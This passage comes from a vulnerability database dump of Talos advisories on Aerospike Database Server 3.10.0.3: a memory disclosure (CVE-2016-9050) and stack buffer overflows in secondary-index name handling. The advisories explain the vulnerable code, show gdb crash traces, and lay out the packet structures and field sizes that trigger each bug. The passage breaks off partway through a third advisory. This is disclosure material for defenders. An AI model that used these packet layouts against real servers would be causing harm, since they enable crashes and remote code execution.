this field for the namespace is clear, then the `thr_tsvc_enqueue` function will be called [3].\r\n```\r\nas/src/base/thr_tsvc.c:497\r\nint\r\nthr_tsvc_process_or_enqueue(as_transaction *tr)\r\n{\r\n\r\n if (g_config.allow_inline_transactions &&\r\n g_config.n_namespaces_in_memory != 0 &&\r\n (g_config.n_namespaces_not_in_memory == 0 ||\r\n as_msg_peek_data_in_memory(&tr->msgp->msg))) { // [1] \\\r\n process_transaction(tr);\r\n return 0;\r\n }\r\n\r\n // Transaction is for data-not-in-memory namespace - process via queues.\r\n return thr_tsvc_enqueue(tr); // [3]\r\n}\r\n\\\r\nas/src/base/proto.c:693\r\nbool\r\nas_msg_peek_data_in_memory(const as_msg *m)\r\n{\r\n as_msg_field *f = as_msg_field_get(m, AS_MSG_FIELD_TYPE_NAMESPACE);\r\n...\r\n as_namespace *ns = as_namespace_get_bymsgfield(f);\r\n...\r\n return ns && ns->storage_data_in_memory; // [2]\r\n}\r\n```\r\n\r\nThe `thr_tsvc_enqueue` function will then check to see if the `use_queue_per_device` setting is specified within the configuration [1]. If this is the case, the server must peek into the packet to decide which device the transaction is to be written to [2]. Inside the `as_msg_peek` function, the server will read the `AS_MSG_FIELD_TYPE_DIGEST_RIPE` field out of the packet and store a pointer to the data in `peek->keyd` [3]. Due to this function not checking the minimum size of the field, an assumption made by the caller can be made to access data outside its bounds. This is done by the code at [4].\r\n```\r\nas/src/base/thr_tsvc.c:515\r\nint\r\nthr_tsvc_enqueue(as_transaction *tr)\r\n{\r\n...\r\n if (g_config.use_queue_per_device) { // [1]\r\n // In queue-per-device mode, we must peek to find out which device (and\r\n // so which queue) this transaction is destined for.\r\n proto_peek ppeek;\r\n as_msg_peek(tr, &ppeek); // [2] \\\r\n\r\n if (ppeek.ns_n_devices) {\r\n...\r\n if (ppeek.info1 & AS_MSG_INFO1_READ) {\r\n n_q = (ppeek.keyd.digest[8] % ppeek.ns_n_devices) + ppeek.ns_queue_offset; // [4]\r\n }\r\n else {\r\n n_q = (ppeek.keyd.digest[8] % ppeek.ns_n_devices) + ppeek.ns_queue_offset + ppeek.ns_n_devices; // [4]\r\n }\r\n }\r\n\\\r\nas/src/base/proto.c:709\r\nvoid\r\nas_msg_peek(const as_transaction *tr, proto_peek *peek)\r\n{\r\n as_msg *m = &tr->msgp->msg;\r\n\r\n peek->info1 = m->info1;\r\n peek->keyd = cf_digest_zero;\r\n peek->ns_n_devices = 0;\r\n peek->ns_queue_offset = 0;\r\n\r\n as_msg_field *nf = as_msg_field_get(m, AS_MSG_FIELD_TYPE_NAMESPACE);\r\n...\r\n as_namespace *ns = as_namespace_get_bymsgfield(nf);\r\n...\r\n if (as_transaction_has_digest(tr)) {\r\n // Modern client, single record.\r\n\r\n as_msg_field *df = as_msg_field_get(m, AS_MSG_FIELD_TYPE_DIGEST_RIPE); // [3]\r\n // Note - not checking size.\r\n\r\n peek->keyd = *(cf_digest *)df->data;\r\n\r\n return;\r\n }\r\n```\r\n\r\n### Crash Information\r\n```\r\n# gdb -q -p `systemctl status aerospike.service | grep 'Main PID' | cut -d: -f2- | cut -d' ' -f2`\r\n\r\n...\r\n(gdb) b thr_tsvc_enqueue\r\nBreakpoint 5 at 0x55323c: file base/thr_tsvc.c, line 524.\r\n\r\n(gdb) b proto.c:742\r\nBreakpoint 6 at 0x4fb13d: file base/proto.c, line 742.\r\n\r\n(gdb) c\r\nContinuing.\r\n\r\nBreakpoint 5, thr_tsvc_enqueue (tr=0x7f52827f8930) at base/thr_tsvc.c:524\r\n524 uint32_t n_q = 0;\r\n\r\n(gdb) next\r\n526 if (g_config.use_queue_per_device) {\r\n\r\n(gdb)\r\n530 as_msg_peek(tr, &ppeek);\r\n\r\n(gdb) c\r\nBreakpoint 7, as_msg_peek (tr=0x7f52827f8930, peek=0x7f52827f8810)\r\n at base/proto.c:742\r\n742 peek->keyd = *(cf_digest *)df->data;\r\n\r\n(gdb) db df->data L0x20\r\n7f527c0c40eb | 04 30 2e 30 2e 31 3a 35 34 34 38 30 00 11 ff 01 | .0.0.1:54480....\r\n7f527c0c40fb | 00 00 00 00 00 00 00 00 00 80 00 00 00 31 37 32 | .............172\r\n\r\n(gdb) finish\r\nRun till exit from #0 as_msg_peek (tr=0x7f52827f8930, peek=0x7f52827f8810)\r\n at base/proto.c:742\r\nthr_tsvc_enqueue (tr=0x7f52827f8930) at base/thr_tsvc.c:532\r\n532 if (ppeek.ns_n_devices) {\r\n\r\n(gdb) next\r\n536 if (ppeek.info1 & AS_MSG_INFO1_READ) {\r\n\r\n(gdb)\r\n540 n_q = (ppeek.keyd.digest[8] % ppeek.ns_n_devices) + ppeek.ns_queue_offset + ppeek.ns_n_devices;\r\n\r\n(gdb) p ppeek.keyd.digest\r\n$7 = \"\\004\\060.0.1:54480\\000\\021\\377\\001\\000\\000\\000\"\r\n```\r\n\r\n### Exploit Proof-of-Concept\r\nTo execute the provided proof-of-concept, simply extract and run it as follows:\r\n```\r\n$ python poc hostname:3000 $namespace\r\nTrying to connect to hostname:3000\r\nSending 0x2b byte packet... done.\r\n```\r\n\r\nA client packet for Aerospike server is encoded in big-endian form and has the following structure. The first two bytes describe the protocol `version` and the protocol `type`. The `version` must be 0x02, where the protocol `type` can be one of two values. If ASCOMPRESSEDMSG(0x04) is specified, then the contents of data are zlib-encoded. Otherwise, the AS_MSG(0x03) value is used. The size of this `data` is defined by the `sz` field which is a 48-bit unsigned integer.\r\n```\r\n<class aspie.as_proto_s>\r\n[0] <instance aspie.proto_version 'version'> v2(0x2)\r\n[1] <instance aspie.proto_type 'type'> AS_MSG(0x3)\r\n[2] <instance uint48_t 'sz'> +0x000000000023 (35)\r\n[8] <instance aspie.as_msg_s 'data'> \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x62\\x61\\x72\\x00\\x00\\x00\\x01\\x04\"\r\n```\r\n\r\nThe contents of the `data` field has the following structure. Within this structure, the only fields that are important are `n_fields` and `fields` which are the values returned by `as_msg_field_get` defined in the vulnerability description.\r\n```\r\n<class aspie.as_msg_s> 'data'\r\n[8] <instance uint8_t 'header_sz'> +0x00 (0)\r\n[9] <instance aspie.AS_MSG_INFO1 'info1'> {bits=8} (0x00, 8)\r\n[a] <instance aspie.AS_MSG_INFO2 'info2'> {bits=8} (0x00, 8)\r\n[b] <instance aspie.AS_MSG_INFO3 'info3'> {bits=8} (0x00, 8)\r\n[c] <instance uint8_t 'unused'> +0x00 (0)\r\n[d] <instance uint8_t 'result_code'> +0x00 (0)\r\n[e] <instance uint32_t 'generation'> +0x00000000 (0)\r\n[12] <instance uint32_t 'record_ttl'> +0x00000000 (0)\r\n[16] <instance uint32_t 'transaction_ttl'> +0x00000000 (0)\r\n[1a] <instance uint16_t 'n_fields'> +0x0002 (2)\r\n[1c] <instance uint16_t 'n_ops'> +0x0000 (0)\r\n[1e] <instance array(aspie.as_msg_field_s,2) 'fields'> aspie.as_msg_field_s[2] \"\\x00\\x00\\x00\\x04\\x00\\x62\\x61\\x72\\x00\\x00\\x00\\x01\\x04\"\r\n[2b] <instance array(aspie.as_msg_op_s,0) 'ops'> aspie.as_msg_op_s[0] \"\"\r\n```\r\n\r\nIn order to reach the described vulnerability, there must be two field types defined within `fields`. These types are NAMESPACE(0x0) and DIGESTRIPE(0x4). Each field-type contains a `field_sz` which defines the length of `data` and `type`. The contents of the NAMESPACE(0x0) field-type will be the namespace that a user is attempting to query. If the contents of the DIGESTRIPE field type is greater than 0 and less than 8, then this vulnerability is being triggered.\r\n```\r\n<class aspie.as_msg_field_s> '0'\r\n[1e] <instance uint32_t 'field_sz'> +0xXXXXXXXX (X)\r\n[22] <instance aspie.AS_MSG_FIELD_TYPE 'type'> NAMESPACE(0x0)\r\n[23] <instance aspie.as_msg_namespace_s<char_t> 'data'> ...\r\n\r\n<class aspie.as_msg_field_s> '1'\r\n[26] <instance uint32_t 'field_sz'> +0x00000001 (1)\r\n[2a] <instance aspie.AS_MSG_FIELD_TYPE 'type'> DIGEST_RIPE(0x4)\r\n[2b] <instance aspie.as_msg_digest_ripe_s 'data'> \"X\"\r\n```\r\n\r\n### Timeline\r\n* 2016-12-23 - Vendor Disclosure\r\n* 2017-01-09 - Public Release\r\n\r\n### CREDIT\r\n* Discovered by the Cisco Talos Team.", "modified": "2017-09-26T00:00:00", "published": "2017-09-26T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96587", "id": "SSV:96587", "type": "seebug", "title": "Aerospike Database Server Client Message Memory Disclosure Vulnerability(CVE-2016-9050)", "sourceData": "", "sourceHref": "", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:PARTIAL/"}}, {"lastseen": "2017-11-19T11:57:07", "bulletinFamily": "exploit", "description": "### Summary\r\nAn exploitable stack-based buffer overflow vulnerability exists in the querying functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause a stack-based buffer overflow in the function `as_sindex__simatch_by_iname` resulting in remote code execution. An attacker can simply connect to the port to trigger this vulnerability.\r\n\r\n### Tested Versions\r\nAerospike Database Server 3.10.0.3\r\n\r\n### Product URLs\r\nhttps://github.com/aerospike/aerospike-server/tree/3.10.0.3\r\n\r\n### CVSSv3 Score\r\n9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\r\n\r\n### CWE\r\nCWE-121 - Stack-based Buffer Overflow\r\n\r\n### Details\r\nAerospike Database Server is both a distributed and scalable NoSQL database that is used as a back-end for scalable web applications that need a key-value store. With a focus on performance, it is multi-threaded and retains its indexes entirely in ram with the ability to persist data to a solid-state drive or traditional rotational media.\r\n\r\nWhen processing a packet from the client, the server will execute the `thr_demarshal` function. After accepting a connection on the socket, the server will read the header from the packet and check it's protocol type. If its protocol type specifies that the packet is compressed (PROTOTYPEASMSGCOMPRESSED), it will decompress it with zlib and then continue to process the packet [1]. Later, when the protocol type is PROTOTYPEAS_MSG the server will pass the packet to the `thr_tsvc_process_or_enqueue` function [2].\r\n```\r\nas/src/base/thr_demarshal.c:389\r\nvoid *\r\nthr_demarshal(void *unused)\r\n{\r\n...\r\n // Demarshal transactions from the socket.\r\n...\r\n // Iterate over all events.\r\n for (i = 0; i < nevents; i++) {\r\n...\r\n // If pointer is NULL, then we need to create a transaction and\r\n // store it in the buffer.\r\n if (fd_h->proto == NULL) {\r\n...\r\n // Do a preliminary read of the header into a stack-\r\n // allocated structure, so that later on we can allocate the\r\n // entire message buffer.\r\n if (0 >= (n = cf_socket_recv(sock, &proto, sizeof(as_proto), MSG_WAITALL))) {\r\n cf_detail(AS_DEMARSHAL, \"proto socket: read header fail: error: rv %d sz was %d errno %d\", n, sz, errno);\r\n goto NextEvent_FD_Cleanup;\r\n }\r\n...\r\n // Check for a finished read.\r\n if (0 == fd_h->proto_unread) {\r\n...\r\n // Check if it's compressed.\r\n if (tr.msgp->proto.type == PROTO_TYPE_AS_MSG_COMPRESSED) { // [1]\r\n...\r\n }\r\n...\r\n // Either process the transaction directly in this thread,\r\n // or queue it for processing by another thread (tsvc/info).\r\n if (0 != thr_tsvc_process_or_enqueue(&tr)) { // [2]\r\n cf_warning(AS_DEMARSHAL, \"Failed to queue transaction to the service thread\");\r\n goto NextEvent_FD_Cleanup;\r\n }\r\n```\r\n\r\nThe `thr_tsvc_process_or_enqueue` function will first read the namespace from the packet then and check to see the data is configured to be stored in memory by calling the `as_msg_peek_data_in_memory` function [1]. If the namespace is undefined or configured to not be stored in memory, the function will continue by calling into `process_transaction` [2]. In order to trigger this particular vulnerability, this is the path that must be taken.\r\n```\r\nas/src/base/thr_tsvc.c:497\r\nint\r\nthr_tsvc_process_or_enqueue(as_transaction *tr)\r\n{\r\n // If transaction is for data-in-memory namespace, process in this thread.\r\n if (g_config.allow_inline_transactions &&\r\n g_config.n_namespaces_in_memory != 0 &&\r\n (g_config.n_namespaces_not_in_memory == 0 ||\r\n as_msg_peek_data_in_memory(&tr->msgp->msg))) { // [1]\r\n process_transaction(tr); // [2]\r\n return 0;\r\n }\r\n...\r\n```\r\n\r\nInside the `process_transaction` function, the server will use the string defined by the ASMSGFIELDTYPENAMESPACE field to determine the namespace. Once the namespace is discovered, the server will determine what type of transaction request is being made. This is done by checking which fields are defined. After determining the transaction is a multi-record type by checking that the ASMSGFIELDBITKEY and ASMSGFIELDBITDIGESTRIPE fields are not included [1], the transaction will be checked to see if it's a batched transaction. This is done by checking to see if the ASMSGFIELDBITDIGESTRIPEARRAY is included [2]. Finally after checking for those fields, the function will call `as_transaction_is_query` [3]. The `as_transaction_is_query` function will then check for the ASMSGFIELDBITINDEXRANGE field being set and if so will pass execution to the `as_query` function at [4].\r\n```\r\nas/src/base/thr_tsvc.c:71\r\nvoid\r\nprocess_transaction(as_transaction *tr)\r\n{\r\n...\r\n // All transactions must have a namespace.\r\n as_msg_field *nf = as_msg_field_get(m, AS_MSG_FIELD_TYPE_NAMESPACE);\r\n...\r\n as_namespace *ns = as_namespace_get_bymsgfield(nf);\r\n...\r\n if (as_transaction_is_multi_record(tr)) { // [1] \\\r\n...\r\n if (as_transaction_is_batch_direct(tr)) { // [2] \\\r\n...\r\n }\r\n else if (as_transaction_is_query(tr)) { // [3] \\\r\n // Query.\r\n...\r\n if (as_query(tr, ns) != 0) { // [4]\r\n...\r\n\r\n\r\n\\ [1]\r\nas/include/base/transaction.h:265\r\nstatic inline bool\r\nas_transaction_is_multi_record(const as_transaction *tr)\r\n{\r\n return (tr->msg_fields & (AS_MSG_FIELD_BIT_KEY | AS_MSG_FIELD_BIT_DIGEST_RIPE)) == 0 &&\r\n (tr->from_flags & FROM_FLAG_BATCH_SUB) == 0;\r\n}\r\n\r\n\\ [2]\r\nas/include/base/transaction.h:272\r\nstatic inline bool\r\nas_transaction_is_batch_direct(const as_transaction *tr)\r\n{\r\n // Assumes we're already multi-record.\r\n return (tr->msg_fields & AS_MSG_FIELD_BIT_DIGEST_RIPE_ARRAY) != 0;\r\n}\r\n\r\n\\ [3]\r\nas/include/base/transaction.h:265\r\nstatic inline bool\r\nas_transaction_is_query(const as_transaction *tr)\r\n{\r\n // Assumes we're already multi-record.\r\n return (tr->msg_fields & AS_MSG_FIELD_BIT_INDEX_RANGE) != 0;\r\n}\r\n```\r\n\r\nAt the beginning of the `as_query` function, the application will hand-off the transaction to the `query_setup` function [1]. Inside this function, the server will ensure that the requested namespace has a secondary index associated with it by calling the `as_sindex_ns_has_sindex` [2]. After this is determined, the namespace and the packet itself will be passed to the `as_sindex_from_msg` function [3].\r\n```\r\nas/src/base/thr_query.c:2856\r\nint\r\nas_query(as_transaction *tr, as_namespace *ns)\r\n{\r\n if (tr) {\r\n QUERY_HIST_INSERT_DATA_POINT(query_txn_q_wait_hist, tr->start_time);\r\n }\r\n\r\n as_query_transaction *qtr;\r\n int rv = query_setup(tr, ns, &qtr); // [1] \\\r\n...\r\n\\\r\nas/src/base/thr_query.c:2686\r\nstatic int\r\nquery_setup(as_transaction *tr, as_namespace *ns, as_query_transaction **qtrp)\r\n{\r\n...\r\n bool has_sindex = as_sindex_ns_has_sindex(ns); // [2]\r\n if (!has_sindex) {\r\n tr->result_code = AS_PROTO_RESULT_FAIL_INDEX_NOTFOUND;\r\n cf_debug(AS_QUERY, \"No Secondary Index on namespace %s\", ns->name);\r\n goto Cleanup;\r\n }\r\n\r\n // TODO - still lots of redundant msg field parsing (e.g. for set) - fix.\r\n if ((si = as_sindex_from_msg(ns, &tr->msgp->msg)) == NULL) { // [3]\r\n cf_debug(AS_QUERY, \"No Index Defined in the Query\");\r\n }\r\n```\r\n\r\nUpon receiving the namespace and the packet, the server will extract the fields identified by the enumerations ASMSGFIELDTYPEINDEXNAME [1] and ASMSGFIELDTYPESET [2] from the packet. Afterwards, the string stored in the ASMSGFIELDTYPEINDEXNAME field is then passed to the `as_sindex_lookup_by_iname` function [3].\r\n```\r\nas/src/base/secondary_index.c:2591\r\nas_sindex *\r\nas_sindex_from_msg(as_namespace *ns, as_msg *msgp)\r\n{\r\n cf_debug(AS_SINDEX, \"as_sindex_from_msg\");\r\n as_msg_field *ifp = as_msg_field_get(msgp, AS_MSG_FIELD_TYPE_INDEX_NAME); // [1]\r\n as_msg_field *sfp = as_msg_field_get(msgp, AS_MSG_FIELD_TYPE_SET); // [2]\r\n\r\n...\r\n iname = cf_strndup((const char *)ifp->data, as_msg_field_get_value_sz(ifp));\r\n\r\n as_sindex *si = as_sindex_lookup_by_iname(ns, iname, AS_SINDEX_LOOKUP_FLAG_ISACTIVE); // [3]\r\n```\r\n\r\nBoth the `ns` representing the namespace and the `iname` variable containing the secondary index name extracted from the packet will then be passed to the `as_sindex_lookup_by_iname`. This server will continue to hand-off these arguments through the function call at [2] and then at [3].\r\n```\r\nas/src/base/secondary_index.c:1068\r\nas_sindex *\r\nas_sindex_lookup_by_iname(as_namespace *ns, char * iname, char flag)\r\n{\r\n return as_sindex__lookup(ns, iname, NULL, -1, 0, 0, NULL, flag); // [1] \\\r\n}\r\n\\\r\nas/src/base/secondary_index.c:1058\r\nas_sindex *\r\nas_sindex__lookup(as_namespace *ns, char *iname, char *set, int binid, as_sindex_ktype type,\r\n as_sindex_type itype, char * path, char flag)\r\n{\r\n SINDEX_GRLOCK();\r\n as_sindex *si = as_sindex__lookup_lockfree(ns, iname, set, binid, type, itype, path, flag); // [2] \\\r\n SINDEX_GUNLOCK();\r\n return si;\r\n}\r\n\\\r\nas/src/base/secondary_index.c:1003\r\nas_sindex *\r\nas_sindex__lookup_lockfree(as_namespace *ns, char *iname, char *set, int binid,\r\n as_sindex_ktype type, as_sindex_type itype, char * path, char flag)\r\n{\r\n...\r\n int simatch = -1;\r\n as_sindex *si = NULL;\r\n // If iname is not null then search in iname hash and store the simatch\r\n if (iname) {\r\n simatch = as_sindex__simatch_by_iname(ns, iname); // [3]\r\n }\r\n...\r\n```\r\n\r\nFinally the `as_sindex__simatch_by_iname` function will be called with the namespace and secondary index name from the packet. This function will write the index name to the `iname` buffer which has a maximum size of 0x100 bytes [1]. The index name is then written into the buffer using `snprintf` and a buffer length based on the `strlen` of the string within the packet [2]. Due to the server using the length of the string from the packet as the bounds for the buffer instead of the size of the buffer itself, a stack-based buffer overflow can be made to occur.\r\n```\r\nas/include/base/datamodel.h:129\r\n#define AS_ID_INAME_SZ 256\r\n\r\nas/src/base/secondary_index.c:982\r\nint\r\nas_sindex__simatch_by_iname(as_namespace *ns, char *idx_name)\r\n{\r\n int simatch = -1;\r\n char iname[AS_ID_INAME_SZ]; memset(iname, 0, AS_ID_INAME_SZ); // [1]\r\n snprintf(iname, strlen(idx_name) + 1, \"%s\", idx_name); // [2]\r\n int rv = shash_get(ns->sindex_iname_hash, (void *)iname, (void *)&simatch);\r\n cf_detail(AS_SINDEX, \"Found iname simatch %s->%d rv=%d\", iname, simatch, rv);\r\n\r\n if (rv) {\r\n return -1;\r\n }\r\n return simatch;\r\n}\r\n```\r\n\r\n\r\n### Crash Information\r\n```\r\n# gdb -q -p `systemctl status aerospike.service | grep 'Main PID' | cut -d: -f2- | cut -d' ' -f2`\r\n...\r\n\r\n(gdb) b as_sindex__simatch_by_iname\r\nBreakpoint 5 at 0x506331: file base/secondary_index.c, line 985.\r\n\r\n(gdb) c\r\nContinuing.\r\n[Switching to Thread 0x7f8d0cf77700 (LWP 43832)]\r\n\r\nBreakpoint 5, as_sindex__simatch_by_iname (ns=0x7f8d92983010,\r\n idx_name=0x7f8d040c4300 'A' <repeats 200 times>...)\r\n at base/secondary_index.c:985\r\n985 int simatch = -1;\r\n(gdb) next\r\n986 char iname[AS_ID_INAME_SZ]; memset(iname, 0, AS_ID_INAME_SZ);\r\n(gdb) next\r\n987 snprintf(iname, strlen(idx_name) + 1, \"%s\", idx_name);\r\n(gdb) p sizeof(iname)\r\n$1 = 0x100\r\n(gdb) p strlen(idx_name)+1\r\n$2 = 0x201\r\n(gdb) dq $rbp L2\r\n7f8d0cf73460 | 00007f8d0cf734c0 0000000000506497 | .4.......dP.....\r\n(gdb) next\r\n988 int rv = shash_get(ns->sindex_iname_hash, (void *)iname, (void *)&simatch);\r\n(gdb) dq $rbp L1\r\n7f8d0cf73460 | 4242424242424242 4242424242424242 | BBBBBBBBBBBBBBBB\r\n(gdb) finish\r\nRun till exit from #0 as_sindex__simatch_by_iname (ns=0x4242424242424242,\r\n idx_name=0x4242424242424242 <Address 0x4242424242424242 out of bounds>)\r\n at base/secondary_index.c:988\r\nWarning:\r\nCannot insert breakpoint 0.\r\nError accessing memory address 0x4242424242424242: Input/output error.\r\n```\r\n\r\n### Exploit Proof-of-Concept\r\nTo execute the provided proof-of-concept, simply extract and run it as follows:\r\n```\r\n$ python poc hostname:3000 $namespace\r\nTrying to connect to hostname:3000\r\nSending 0x232 byte packet... done.\r\n```\r\n\r\nA client packet for Aerospike server has the following structure. The first 2 bytes describe the protocol `version` and the protocol `type`. The `version` must be 0x02, where the protocol `type` can be one of two values. If ASCOMPRESSEDMSG(0x04) is specified, then the contents of `data` are zlib-encoded. Otherwise, the AS_MSG(0x03) value is used. The size of this data is defined by the `sz` field which is a 48-bit unsigned integer.\r\n```\r\n<class aspie.as_proto_s>\r\n[0] <instance aspie.proto_version 'version'> v2(0x2)\r\n[1] <instance aspie.proto_type 'type'> AS_MSG(0x3)\r\n[2] <instance uint48_t 'sz'> +0x00000000022e (558)\r\n[8] <instance aspie.as_msg_s 'data'> \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00 ..skipped ~538 bytes.. \\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\r\n```\r\n\r\nThe contents of the `data` field has the following structure. In order to submit a message that passes the checks at `as_transaction_is_multi_record` and `as_transaction_is_query`, There simply needs to be a field with the NAMESPACE(0x0) id, one with an INDEXRANGE(0x16) id, and no fields that use the BITKEY(2) or BITDIGESTRIPE(4) identifiers. The field that is being used to overflow with is using the INDEXNAME(0x15) id. This means that there must be at least three fields defined and thus the uint16t field `n_fields` must be set to 0x0003 or more.\r\n```\r\n<class aspie.as_msg_s> 'data'\r\n[8] <instance uint8_t 'header_sz'> +0x00 (0)\r\n[9] <instance aspie.AS_MSG_INFO1 'info1'> {bits=8} (0x00, 8)\r\n[a] <instance aspie.AS_MSG_INFO2 'info2'> {bits=8} (0x00, 8)\r\n[b] <instance aspie.AS_MSG_INFO3 'info3'> {bits=8} (0x00, 8)\r\n[c] <instance uint8_t 'unused'> +0x00 (0)\r\n[d] <instance uint8_t 'result_code'> +0x00 (0)\r\n[e] <instance uint32_t 'generation'> +0x00000000 (0)\r\n[12] <instance uint32_t 'record_ttl'> +0x00000000 (0)\r\n[16] <instance uint32_t 'transaction_ttl'> +0x00000000 (0)\r\n[1a] <instance uint16_t 'n_fields'> +0x0003 (3)\r\n[1c] <instance uint16_t 'n_ops'> +0x0000 (0)\r\n[1e] <instance array(aspie.as_msg_field_s,3) 'fields'> aspie.as_msg_field_s[3] \"\\x00\\x00\\x00\\x09\\x00\\x58\\x58 ..skipped ~516 bytes.. \\x42\\x42\\x42\\x42\\x42\\x42\\x42\"\r\n[236] <instance array(aspie.as_msg_op_s,0) 'ops'> aspie.as_msg_op_s[0] \"\"\r\n```\r\n\r\nAf offset 0x1e of the packet is the definition of `fields`. This is an array of fields that provide options for the type of request that is being made. The field identified by NAMESPACE(0x0) contains a namespace that supports the configuration defined above.\r\n```\r\n<class aspie.as_msg_field_s> '0'\r\n[1e] <instance uint32_t 'field_sz'> +0xXXXXXXXX (X)\r\n[22] <instance aspie.AS_MSG_FIELD_TYPE 'type'> NAMESPACE(0x0)\r\n[23] <instance aspie.as_msg_namespace_s<char_t> 'data'> ...\r\n```\r\n\r\nOne of the requirements is that an INDEX_RANGE(0x16) field must be defined. This begins at offset 0x2b of the packet generated by the proof-of-concept.\r\n```\r\n<class aspie.as_msg_field_s> '1'\r\n[2b] <instance uint32_t 'field_sz'> +0x00000002 (2)\r\n[2f] <instance aspie.AS_MSG_FIELD_TYPE 'type'> INDEX_RANGE(0x16)\r\n[30] <instance aspie.as_msg_index_range_s 'data'> \"\\x00\"\r\n```\r\n\r\nThe last field that is used to overflow the 0x100 byte buffer has the identifier of INDEX_NAME(0x15). As long as the length defined in `field_sz` is larger than 0x200 (exclusive) and the contents of `data` contains the same number of bytes, this vulnerability is being triggered.\r\n```\r\n<class aspie.as_msg_field_s> '2'\r\n[31] <instance uint32_t 'field_sz'> +0x00000201 (513)\r\n[35] <instance aspie.AS_MSG_FIELD_TYPE 'type'> INDEX_NAME(0x15)\r\n[36] <instance aspie.as_msg_index_name_s<char_t> 'data'> ...\r\n```\r\n\r\n### Timeline\r\n* 2016-12-23 - Vendor Disclosure\r\n* 2017-01-09 - Public Release\r\n\r\n### CREDIT\r\n* Discovered by the Cisco Talos Team.", "modified": "2017-09-26T00:00:00", "published": "2017-09-26T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96588", "id": "SSV:96588", "type": "seebug", "title": "Aerospike Database Server Index Name Code Execution Vulnerability(CVE-2016-9052)", "sourceData": "", "sourceHref": "", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-11-19T11:57:12", "bulletinFamily": "exploit", "description": "### Summary\r\nAn exploitable stack-based buffer overflow vulnerability exists in the querying functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause a stack-based buffer overflow in the function `as_sindex__simatch_list_by_set_binid` resulting in remote code execution. An attacker can simply connect to the port to trigger this vulnerability.\r\n\r\n### ### Tested Versions\r\nAerospike Database Server 3.10.0.3\r\n\r\n### Product URLs\r\nhttps://github.com/aerospike/aerospike-server/tree/3.10.0.3\r\n\r\n### CVSSv3 Score\r\n9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\r\n\r\n### CWE\r\nCWE-121 - Stack-based Buffer Overflow\r\n\r\n### Details\r\nAerospike Database Server is both a distributed and scalable NoSQL database that is used as a back-end for scalable web applications that need a key-value store. With a focus on performance, it is multi-threaded and retains its indexes entirely in ram with the ability to persist data to a solid-state drive or traditional rotational media.\r\n\r\nWhen processing a packet from the client, the server will execute the `thr_demarshal` function. After accepting a connection on the socket, the server will read the header from the packet and check it's protocol type. If its protocol type specifies that the packet is compressed (PROTOTYPEASMSGCOMPRESSED), it will decompress it with zlib and then continue to process the packet [1]. Later, when the protocol type is PROTOTYPEAS_MSG the server will pass the packet to the `thr_tsvc_process_or_enqueue` function [2].\r\n```\r\nas/src/base/thr_demarshal.c:389\r\nvoid *\r\nthr_demarshal(void *unused)\r\n{\r\n...\r\n // Demarshal transactions from the socket.\r\n...\r\n // Iterate over all events.\r\n for (i = 0; i < nevents; i++) {\r\n...\r\n // If pointer is NULL, then we need to create a transaction and\r\n // store it in the buffer.\r\n if (fd_h->proto == NULL) {\r\n...\r\n // Do a preliminary read of the header into a stack-\r\n // allocated structure, so that later on we can allocate the\r\n // entire message buffer.\r\n if (0 >= (n = cf_socket_recv(sock, &proto, sizeof(as_proto), MSG_WAITALL))) {\r\n cf_detail(AS_DEMARSHAL, \"proto socket: read header fail: error: rv %d sz was %d errno %d\", n, sz, errno);\r\n goto NextEvent_FD_Cleanup;\r\n }\r\n...\r\n // Check for a finished read.\r\n if (0 == fd_h->proto_unread) {\r\n...\r\n // Check if it's compressed.\r\n if (tr.msgp->proto.type == PROTO_TYPE_AS_MSG_COMPRESSED) { // [1]\r\n...\r\n }\r\n...\r\n // Either process the transaction directly in this thread,\r\n // or queue it for processing by another thread (tsvc/info).\r\n if (0 != thr_tsvc_process_or_enqueue(&tr)) { // [2]\r\n cf_warning(AS_DEMARSHAL, \"Failed to queue transaction to the service thread\");\r\n goto NextEvent_FD_Cleanup;\r\n }\r\n```\r\n\r\nThe `thr_tsvc_process_or_enqueue` function will first read the namespace from the packet then and check to see the data is configured to be stored in memory by calling the `as_msg_peek_data_in_memory` function [1]. If the namespace is undefined or configured to not be stored in memory, the function will continue by calling into `process_transaction` [2]. In order to trigger this particular vulnerability, this is the path that must be taken.\r\n```\r\nas/src/base/thr_tsvc.c:497\r\nint\r\nthr_tsvc_process_or_enqueue(as_transaction *tr)\r\n{\r\n // If transaction is for data-in-memory namespace, process in this thread.\r\n if (g_config.allow_inline_transactions &&\r\n g_config.n_namespaces_in_memory != 0 &&\r\n (g_config.n_namespaces_not_in_memory == 0 ||\r\n as_msg_peek_data_in_memory(&tr->msgp->msg))) { // [1]\r\n process_transaction(tr); // [2]\r\n return 0;\r\n }\r\n...\r\n```\r\n\r\nInside the `process_transaction` function, the server will use the string defined by the ASMSGFIELDTYPENAMESPACE field to determine the namespace. Once the namespace is discovered, the server will determine what type of transaction request is being made. This is done by checking which fields are defined. After determining the transaction is a multi-record type by checking that the ASMSGFIELDBITKEY and ASMSGFIELDBITDIGESTRIPE fields are not included [1], the transaction will be checked to see if it's a batched transaction. This is done by checking to see if the ASMSGFIELDBITDIGESTRIPEARRAY is included [2]. Finally after checking for those fields, the function will call `as_transaction_is_query` [3]. The `as_transaction_is_query` function will then check for the ASMSGFIELDBITINDEXRANGE field being set and if so will pass execution to the `as_query` function at [4].\r\n```\r\nas/src/base/thr_tsvc.c:71\r\nvoid\r\nprocess_transaction(as_transaction *tr)\r\n{\r\n...\r\n // All transactions must have a namespace.\r\n as_msg_field *nf = as_msg_field_get(m, AS_MSG_FIELD_TYPE_NAMESPACE);\r\n...\r\n as_namespace *ns = as_namespace_get_bymsgfield(nf);\r\n...\r\n if 